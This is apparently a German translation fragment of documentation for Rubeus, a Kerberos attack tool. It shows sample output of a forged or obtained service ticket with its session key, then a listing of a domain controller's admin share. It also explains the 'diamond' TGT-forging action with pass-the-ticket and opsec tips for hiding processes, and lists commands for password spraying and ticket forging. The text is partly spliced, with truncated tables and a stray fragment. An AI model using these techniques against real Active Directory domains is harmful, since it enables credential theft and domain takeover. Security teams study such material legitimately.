doIF9zCCBfOgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
ZnMbG3BkYzEucnViZXVzLmdob3N0cGFjay5sb2NhbA==
ServiceName : cifs/pdc1.rubeus.ghostpack.local
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : dev.ccob
UserRealm : DEV.RUBEUS.GHOSTPACK.LOCAL
StartTime : 29/07/2021 03:04:26
EndTime : 29/07/2021 13:03:34
RenewTill : 05/08/2021 03:03:34
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : lQGdcWT5/cacHGFko3fDJvF9poFK+tH5hctlDN89peY=
C:\Rubeus>dir \\pdc1.rubeus.ghostpack.local\c$
Volume in drive \\pdc1.rubeus.ghostpack.local\c$ has no label.
Volume Serial Number is 3C5F-0EF1
Directory of \\pdc1.rubeus.ghostpack.local\c$
30/06/2021 02:13 <DIR> inetpub
15/09/2018 08:19 <DIR> PerfLogs
09/06/2021 17:45 <DIR> Program Files
09/06/2021 17:45 <DIR> Program Files (x86)
14/07/2021 01:18 <DIR> Rubeus
19/07/2021 20:48 <DIR> temp
30/06/2021 02:14 <DIR> Users
14/07/2021 02:17 <DIR> Windows
0 File(s) 0 bytes
8 Dir(s) 94,901,772,288 bytes free
Die Aktion diamond erstellt ein Diamond-TGT, indem ein für einen Benutzer mit den angegebenen Argumenten angefordertes TGT modifiziert wird. Zuerst wird ein TGT für den angegebenen Benutzer und Verschlüsselungsschlüssel (/rc4, /aes128, /aes256 oder /des) angefordert. Ein Flag /password kann auch anstelle eines Hashes verwendet werden – in diesem Fall wird /enctype:X standardmäßig auf RC4 für den Austausch gesetzt, mit des|aes128|aes256 als Optionen. Alternativ wird PKINIT-Authentifizierung mit dem Argument /certificate:X unterstützt. Wenn der private Schlüssel in der PFX-Datei passwortgeschützt ist, kann dieses Passwort mit dem Argument /password:X übergeben werden. Zuletzt kann das Flag /tgtdeleg übergeben werden, um ein TGT mit dem tgtdeleg-Trick anzufordern. Das Argument /krbkey:X wird verwendet, um das Ticket zu entschlüsseln, nach den Änderungen neu zu signieren und das Ticket erneut zu verschlüsseln.
Wenn keine /domain angegeben ist, wird die aktuelle Domäne des Computers extrahiert, und wenn kein /dc angegeben ist, wird dasselbe für den aktuellen Domänencontroller des Systems getan. Das Flag /ptt führt ein "Pass-the-Ticket" durch und wendet das resultierende Kerberos-Anmeldedaten auf die aktuelle Anmeldesitzung an. Das Flag /luid:0xA.. wendet das Ticket auf die angegebene Anmeldesitzungs-ID (erhöhte Rechte erforderlich) anstelle der aktuellen Anmeldesitzung an.
Beachten Sie, dass keine erhöhten Rechte auf dem Host erforderlich sind, um TGTs anzufordern oder sie auf die aktuelle Anmeldesitzung anzuwenden, sondern nur der korrekte Hash für den Zielbenutzer. Ein weiterer opsec-Hinweis: Es kann jeweils nur ein TGT auf die aktuelle Anmeldesitzung angewendet werden, daher wird das vorherige TGT gelöscht, wenn das neue Ticket mit der Option /ptt angewendet wird. Eine Problemumgehung ist die Verwendung des Parameters /createnetonly:C:\X.exe (der den Prozess standardmäßig ausblendet, es sei denn, das Flag /show wird angegeben) oder die Anforderung des Tickets und dessen Anwendung auf eine andere Anmeldesitzung mit ptt /luid:0xA...
| Befehl | Beschreibung |
|---|
| asktgt | Ein Ticket-Granting-Ticket (TGT) von einem Hash/Schlüssel oder Passwort anfordern |
| asktgs | Ein Service-Ticket von einem übergebenen TGT anfordern |
| renew | Ein TGT oder Service-Ticket erneuern (oder automatisch erneuern) |
| brute | Eine Kerberos-basierte Passwort-Brute-Force-Angriff durchführen. 'spray' kann auch anstelle von 'brute' verwendet werden |
| preauthscan | Eine Suche nach Konten durchführen, die keine Kerberos-Preauthentifizierung erfordern |
/resourcegroupsid| Argument | Beschreibung |
|---|
| /authtime | Setzt das authtime-Feld im EncTicketPart. Im lokalen Zeitformat – wird automatisch in UTC umgewandelt (Standard: jetzt) |
| /starttime | Setzt das starttime-Feld im EncTicketPart. Im lokalen Zeitformat – wird automatisch in UTC umgewandelt (Standard: jetzt) |
| /endtime | Setzt das endtime-Feld im EncTicketPart. Dies ist relativ zu starttime, im Format Multiplikator plus Zeitbereich, also für 5 Tage, 5d. Weitere Informationen zu diesem Format unten (Standard: 10h) |
| /renewtill | Setzt das renew-till-Feld im EncTicketPart. Dies ist relativ zu starttime, im Format Multiplikator plus Zeitbereich, also für 5 Tage, 5d. Weitere Informationen zu diesem Format unten (Standard: 7d) |
| /rangeend | Dies dient zum Erstellen mehrerer Tickets, die zu unterschiedlichen Zeiten beginnen. Dies ist die letzte starttime, relativ zu /starttime, im Format Multiplikator plus Zeitbereich, also für 5 Tage, 5d. Weitere Informationen zu diesem Format unten |
| /rangeinterval | Dies dient zum Erstellen mehrerer Tickets, deren Startzeiten unterschiedlich sind. Dies ist das Intervall zwischen den einzelnen Startzeiten, im Format Multiplikator plus Zeitbereich, also für 5 Tage, 5d. Weitere Informationen zu diesem Format unten |
| /flags | Setzt die Ticket-Flags im EncTicketPart (Standard: forwardable,renewable,pre_authent und für golden auch initial) |
| /extendedupndns | Enthält die neuen erweiterten UpnDns (einschließlich des samaccountname und der Konto-SID) |